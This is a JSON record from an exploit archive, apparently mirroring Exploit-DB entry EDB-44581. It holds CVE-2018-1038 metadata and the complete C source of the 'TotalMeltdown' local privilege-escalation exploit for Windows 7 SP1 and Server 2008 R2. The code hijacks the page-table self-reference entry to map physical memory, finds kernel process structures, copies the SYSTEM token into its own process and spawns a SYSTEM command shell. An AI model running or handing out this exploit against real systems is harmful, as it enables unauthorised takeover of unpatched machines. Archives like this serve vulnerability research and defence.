{"exploit":{"id":"EDB-44581","name":"Microsoft Windows - Local Privilege Escalation (LPE)","description":"Microsoft Windows - Local Privilege Escalation (LPE)","cves":["CVE-2018-1038"],"author":"XPN","published":"2018-04-24","platform":"windows","type":"local","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/44581","path":"exploits/windows/local/44581.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-44581.c","vulnerabilities":[{"id":"CVE-2018-1038","state":"PUBLISHED","title":null,"titleSource":null,"description":"The Windows kernel in Windows 7 SP1 and Windows Server 2008 R2 SP1 allows an elevation of privilege vulnerability due to the way it handles objects in memory, aka \"Windows Kernel Elevation of Privilege Vulnerability.\"","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2018-1038","cvss":{"version":"3.0","baseScore":7.8,"severity":"high","vectorString":"CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2018-1038"},"updatedAt":"2024-09-17T03:18:09.251Z","retrievedAt":"2026-11-26T20:06:01.169Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-44581.png?v=2","url":"https://exploitbin.com/exploits/EDB-44581","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-44581/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-44581/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#include \"stdafx.h\"\n\n#define\tPML4_BASE\t0xFFFFF6FB7DBED000\n#define\tPDP_BASE\t0xFFFFF6FB7DA00000\n#define\tPD_BASE\t\t0xFFFFF6FB40000000\n#define\tPT_BASE\t0xFFFFF68000000000\n\ntypedef LARGE_INTEGER PHYSICAL_ADDRESS, *PPHYSICAL_ADDRESS;\n\n#pragma pack(push,4)\ntypedef struct _CM_PARTIAL_RESOURCE_DESCRIPTOR {\n\tUCHAR Type;\n\tUCHAR ShareDisposition;\n\tUSHORT Flags;\n\tunion {\n\t\tstruct {\n\t\t\tPHYSICAL_ADDRESS Start;\n\t\t\tULONG Length;\n\t\t} Generic;\n\n\t\tstruct {\n\t\t\tPHYSICAL_ADDRESS Start;\n\t\t\tULONG Length;\n\t\t} Port;\n\n\t\tstruct {\n#if defined(NT_PROCESSOR_GROUPS)\n\t\t\tUSHORT Level;\n\t\t\tUSHORT Group;\n#else\n\t\t\tULONG Level;\n#endif\n\t\t\tULONG Vector;\n\t\t\tKAFFINITY Affinity;\n\t\t} Interrupt;\n\n\t\tstruct {\n\t\t\tunion {\n\t\t\t\tstruct {\n#if defined(NT_PROCESSOR_GROUPS)\n\t\t\t\t\tUSHORT Group;\n#else\n\t\t\t\t\tUSHORT Reserved;\n#endif\n\t\t\t\t\tUSHORT MessageCount;\n\t\t\t\t\tULONG Vector;\n\t\t\t\t\tKAFFINITY Affinity;\n\t\t\t\t} Raw;\n\n\t\t\t\tstruct {\n#if defined(NT_PROCESSOR_GROUPS)\n\t\t\t\t\tUSHORT Level;\n\t\t\t\t\tUSHORT Group;\n#else\n\t\t\t\t\tULONG Level;\n#endif\n\t\t\t\t\tULONG Vector;\n\t\t\t\t\tKAFFINITY Affinity;\n\t\t\t\t} Translated;\n\t\t\t} DUMMYUNIONNAME;\n\t\t} MessageInterrupt;\n\n\t\tstruct {\n\t\t\tPHYSICAL_ADDRESS Start;\n\t\t\tULONG Length;\n\t\t} Memory;\n\n\t\tstruct {\n\t\t\tULONG Channel;\n\t\t\tULONG Port;\n\t\t\tULONG Reserved1;\n\t\t} Dma;\n\n\t\tstruct {\n\t\t\tULONG Channel;\n\t\t\tULONG RequestLine;\n\t\t\tUCHAR TransferWidth;\n\t\t\tUCHAR Reserved1;\n\t\t\tUCHAR Reserved2;\n\t\t\tUCHAR Reserved3;\n\t\t} DmaV3;\n\n\t\tstruct {\n\t\t\tULONG Data[3];\n\t\t} DevicePrivate;\n\n\t\tstruct {\n\t\t\tULONG Start;\n\t\t\tULONG Length;\n\t\t\tULONG Reserved;\n\t\t} BusNumber;\n\n\t\tstruct {\n\t\t\tULONG DataSize;\n\t\t\tULONG Reserved1;\n\t\t\tULONG Reserved2;\n\t\t} DeviceSpecificData;\n\n\t\tstruct {\n\t\t\tPHYSICAL_ADDRESS Start;\n\t\t\tULONG Length40;\n\t\t} Memory40;\n\n\t\tstruct {\n\t\t\tPHYSICAL_ADDRESS Start;\n\t\t\tULONG Length48;\n\t\t} Memory48;\n\n\t\tstruct {\n\t\t\tPHYSICAL_ADDRESS Start;\n\t\t\tULONG Length64;\n\t\t} Memory64;\n\n\t\tstruct {\n\t\t\tUCHAR Class;\n\t\t\tUCHAR Type;\n\t\t\tUCHAR Reserved1;\n\t\t\tUCHAR Reserved2;\n\t\t\tULONG IdLowPart;\n\t\t\tULONG IdHighPart;\n\t\t} Connection;\n\n\t} u;\n} CM_PARTIAL_RESOURCE_DESCRIPTOR, *PCM_PARTIAL_RESOURCE_DESCRIPTOR;\n#pragma pack(pop,4)\n\ntypedef enum _INTERFACE_TYPE {\n\tInterfaceTypeUndefined,\n\tInternal,\n\tIsa,\n\tEisa,\n\tMicroChannel,\n\tTurboChannel,\n\tPCIBus,\n\tVMEBus,\n\tNuBus,\n\tPCMCIABus,\n\tCBus,\n\tMPIBus,\n\tMPSABus,\n\tProcessorInternal,\n\tInternalPowerBus,\n\tPNPISABus,\n\tPNPBus,\n\tVmcs,\n\tACPIBus,\n\tMaximumInterfaceType\n} INTERFACE_TYPE, *PINTERFACE_TYPE;\n\ntypedef struct _CM_PARTIAL_RESOURCE_LIST {\n\tUSHORT                         Version;\n\tUSHORT                         Revision;\n\tULONG                          Count;\n\tCM_PARTIAL_RESOURCE_DESCRIPTOR PartialDescriptors[1];\n} CM_PARTIAL_RESOURCE_LIST, *PCM_PARTIAL_RESOURCE_LIST;\n\ntypedef struct _CM_FULL_RESOURCE_DESCRIPTOR {\n\tINTERFACE_TYPE           InterfaceType;\n\tULONG                    BusNumber;\n\tCM_PARTIAL_RESOURCE_LIST PartialResourceList;\n} *PCM_FULL_RESOURCE_DESCRIPTOR, CM_FULL_RESOURCE_DESCRIPTOR;\n\ntypedef struct _CM_RESOURCE_LIST {\n\tULONG                       Count;\n\tCM_FULL_RESOURCE_DESCRIPTOR List[1];\n} *PCM_RESOURCE_LIST, CM_RESOURCE_LIST;\n\nstruct memory_region {\n\tULONG64 size;\n\tULONG64 address;\n};\n\n// Very hack'y way of trying to map out physical memory regions to try and reduce\n// risk of BSOD\nDWORD parse_memory_map(struct memory_region *regions) {\n\tHKEY hKey = NULL;\n\tLPTSTR pszSubKey = L\"Hardware\\\\ResourceMap\\\\System Resources\\\\Physical Memory\";\n\tLPTSTR pszValueName = L\".Translated\";\n\tLPBYTE lpData = NULL;\n\tDWORD dwLength = 0, count = 0, type = 0;;\n\n\tif (!RegOpenKey(HKEY_LOCAL_MACHINE, pszSubKey, &hKey) == ERROR_SUCCESS)\n\t{\n\t\tprintf(\"[*] Could not get reg key\\n\");\n\t\treturn 0;\n\t}\n\n\tif (!RegQueryValueEx(hKey, pszValueName, 0, &type, NULL, &dwLength) == ERROR_SUCCESS)\n\t{\n\t\tprintf(\"[*] Could not query hardware key\\n\");\n\t\treturn 0;\n\t}\n\n\tlpData = (LPBYTE)malloc(dwLength);\n\tRegQueryValueEx(hKey, pszValueName, 0, &type, lpData, &dwLength);\n\n\tCM_RESOURCE_LIST *resource_list = (CM_RESOURCE_LIST *)lpData;\n\n\tfor (int i = 0; i < resource_list->Count; i++) {\n\t\tfor (int j = 0; j < resource_list->List[0].PartialResourceList.Count; j++) {\n\t\t\tif (resource_list->List[i].PartialResourceList.PartialDescriptors[j].Type == 3) {\n\t\t\t\tregions->address = resource_list->List[i].PartialResourceList.PartialDescriptors[j].u.Memory.Start.QuadPart;\n\t\t\t\tregions->size = resource_list->List[i].PartialResourceList.PartialDescriptors[j].u.Memory.Length;\n\t\t\t\tregions++;\n\t\t\t\tcount++;\n\t\t\t}\n\t\t}\n\t}\n\n\treturn count;\n}\n\nint main()\n{\n\tprintf(\"TotalMeltdown PrivEsc exploit by @_xpn_\\n\");\n\tprintf(\"  paging code by @UlfFrisk\\n\\n\");\n\n\tunsigned long long iPML4, vaPML4e, vaPDPT, iPDPT, vaPD, iPD;\n\tDWORD done;\n\tDWORD count;\n\n\t// Parse registry for physical memory regions\n\tprintf(\"[*] Getting physical memory regions from registry\\n\");\n\tstruct memory_region *regions = (struct memory_region *)malloc(sizeof(struct memory_region) * 10);\n\n\tcount = parse_memory_map(regions);\n\tif (count == 0) {\n\t\tprintf(\"[X] Could not find physical memory region, quitting\\n\");\n\t\treturn 2;\n\t}\n\n\tfor (int i = 0; i < count; i++) {\n\t\tprintf(\"[*] Phyiscal memory region found: %p - %p\\n\", regions[i].address, regions[i].address + regions[i].size);\n\t}\n\n\t// Check for vulnerability\n\t__try {\n\t\tint test = *(unsigned long long *)PML4_BASE;\n\t}\n\t__except (EXCEPTION_EXECUTE_HANDLER) {\n\t\tprintf(\"[X] Could not access PML4 address, system likely not vulnerable\\n\");\n\t\treturn 2;\n\t}\n\n\t// setup: PDPT @ fixed hi-jacked physical address: 0x10000\n\t// This code uses the PML4 Self-Reference technique discussed, and iterates until we find a \"free\" PML4 entry\n\t// we can hijack.\n\tfor (iPML4 = 256; iPML4 < 512; iPML4++) {\n\t\tvaPML4e = PML4_BASE + (iPML4 << 3);\n\t\tif (*(unsigned long long *)vaPML4e) { continue; }\n\n\t\t// When we find an entry, we add a pointer to the next table (PDPT), which will be\n\t\t// stored at the physical address 0x10000\n\t\t*(unsigned long long *)vaPML4e = 0x10067;\n\t\tbreak;\n\t}\n\tprintf(\"[*] PML4 Entry Added At Index: %d\\n\", iPML4);\n\n\t// Here, the PDPT table is referenced via a virtual address.\n\t// For example, if we added our hijacked PML4 entry at index 256, this virtual address\n\t// would be 0xFFFFF6FB7DA00000 + 0x100000\n\t// This allows us to reference the physical address 0x10000 as:\n\t// PML4 Index: 1ed | PDPT Index : 1ed |\tPDE Index : 1ed | PT Index : 100\n\tvaPDPT = PDP_BASE + (iPML4 << (9 * 1 + 3));\n\tprintf(\"[*] PDPT Virtual Address: %p\", vaPDPT);\n\n\t// 2: setup 31 PDs @ physical addresses 0x11000-0x1f000 with 2MB pages\n\t// Below is responsible for adding 31 entries to the PDPT\n\tfor (iPDPT = 0; iPDPT < 31; iPDPT++) {\n\t\t*(unsigned long long *)(vaPDPT + (iPDPT << 3)) = 0x11067 + (iPDPT << 12);\n\t}\n\n\t// For each of the PDs, a further 512 PT's are created. This gives access to\n\t// 512 * 32 * 2mb = 33gb physical memory space\n\tfor (iPDPT = 0; iPDPT < 31; iPDPT++) {\n\t\tif ((iPDPT % 3) == 0)\n\t\t\tprintf(\"\\n[*] PD Virtual Addresses: \");\n\n\t\tvaPD = PD_BASE + (iPML4 << (9 * 2 + 3)) + (iPDPT << (9 * 1 + 3));\n\t\tprintf(\"%p \", vaPD);\n\n\t\tfor (iPD = 0; iPD < 512; iPD++) {\n\t\t\t// Below, notice the 0xe7 flags added to each entry.\n\t\t\t// This is used to create a 2mb page rather than the standard 4096 byte page.\n\t\t\t*(unsigned long long *)(vaPD + (iPD << 3)) = ((iPDPT * 512 + iPD) << 21) | 0xe7;\n\t\t}\n\t}\n\n\tprintf(\"\\n[*] Page tables created, we now have access to ~31gb of physical memory\\n\");\n\n\t#define EPROCESS_IMAGENAME_OFFSET 0x2e0\n\t#define EPROCESS_TOKEN_OFFSET 0x208\n\t#define EPROCESS_PRIORITY_OFFSET 0xF  // This is the offset from IMAGENAME, not from base\n\n\tunsigned long long ourEPROCESS = 0, systemEPROCESS = 0;\n\tunsigned long long exploitVM = 0xffff000000000000 + (iPML4 << (9 * 4 + 3));\n\tSTARTUPINFOA si;\n\tPROCESS_INFORMATION pi;\n\n\tZeroMemory(&si, sizeof(si));\n\tsi.cb = sizeof(si);\n\tZeroMemory(&pi, sizeof(pi));\n\n\tprintf(\"[*] Hunting for _EPROCESS structures in memory\\n\");\n\n\tfor (int j = 0; j < count; j++) {\n\t\tprintf(\"[*] Trying physical region %p - %p\\n\", regions[j].address, regions[j].address + regions[j].size);\n\n\t\tfor (unsigned long long i = regions[j].address; i < +regions[j].address + regions[j].size; i++) {\n\n\t\t\t__try {\n\t\t\t\t// Locate EPROCESS via the IMAGE_FILE_NAME field, and PRIORITY_CLASS field\n\t\t\t\tif (ourEPROCESS == 0 && memcmp(\"TotalMeltdownP\", (unsigned char *)(exploitVM + i), 14) == 0) {\n\t\t\t\t\tif (*(unsigned char *)(exploitVM + i + EPROCESS_PRIORITY_OFFSET) == 0x2) {\n\t\t\t\t\t\tourEPROCESS = exploitVM + i - EPROCESS_IMAGENAME_OFFSET;\n\t\t\t\t\t\tprintf(\"[*] Found our _EPROCESS at %p\\n\", ourEPROCESS);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t// Locate EPROCESS via the IMAGE_FILE_NAME field, and PRIORITY_CLASS field\n\t\t\t\telse if (systemEPROCESS == 0 && memcmp(\"System\\0\\0\\0\\0\\0\\0\\0\\0\\0\", (unsigned char *)(exploitVM + i), 14) == 0) {\n\t\t\t\t\tif (*(unsigned char *)(exploitVM + i + EPROCESS_PRIORITY_OFFSET) == 0x2) {\n\t\t\t\t\t\tsystemEPROCESS = exploitVM + i - EPROCESS_IMAGENAME_OFFSET;\n\t\t\t\t\t\tprintf(\"[*] Found System _EPROCESS at %p\\n\", systemEPROCESS);\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif (systemEPROCESS != 0 && ourEPROCESS != 0) {\n\t\t\t\t\t// Swap the tokens by copying the pointer to System Token field over our process token\n\t\t\t\t\tprintf(\"[*] Copying access token from %p to %p\\n\", systemEPROCESS + EPROCESS_TOKEN_OFFSET, ourEPROCESS + EPROCESS_TOKEN_OFFSET);\n\t\t\t\t\t*(unsigned long long *)((char *)ourEPROCESS + EPROCESS_TOKEN_OFFSET) = *(unsigned long long *)((char *)systemEPROCESS + EPROCESS_TOKEN_OFFSET);\n\t\t\t\t\tprintf(\"[*] Done, spawning SYSTEM shell...\\n\\n\");\n\n\t\t\t\t\tCreateProcessA(0,\n\t\t\t\t\t\t\"cmd.exe\",\n\t\t\t\t\t\tNULL,\n\t\t\t\t\t\tNULL,\n\t\t\t\t\t\tTRUE,\n\t\t\t\t\t\t0,\n\t\t\t\t\t\tNULL,\n\t\t\t\t\t\t\"C:\\\\windows\\\\system32\",\n\t\t\t\t\t\t&si,\n\t\t\t\t\t\t&pi);\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t\t__except (EXCEPTION_EXECUTE_HANDLER) {\n\t\t\t\tprintf(\"[X] Exception occured, stopping to avoid BSOD\\n\");\n\t\t\t\treturn 2;\n\t\t\t}\n\t\t}\n\t}\n    return 0;\n}","sha256":"1c39c2dcda65bfc2d7f40dc22d6d571cea6cc5636929555ccb7732c6aaf76098","bytes":9599,"fetchedAt":"2026-11-26T20:05:59.237Z","encoding":"utf-8 (display only; download retains original bytes)"}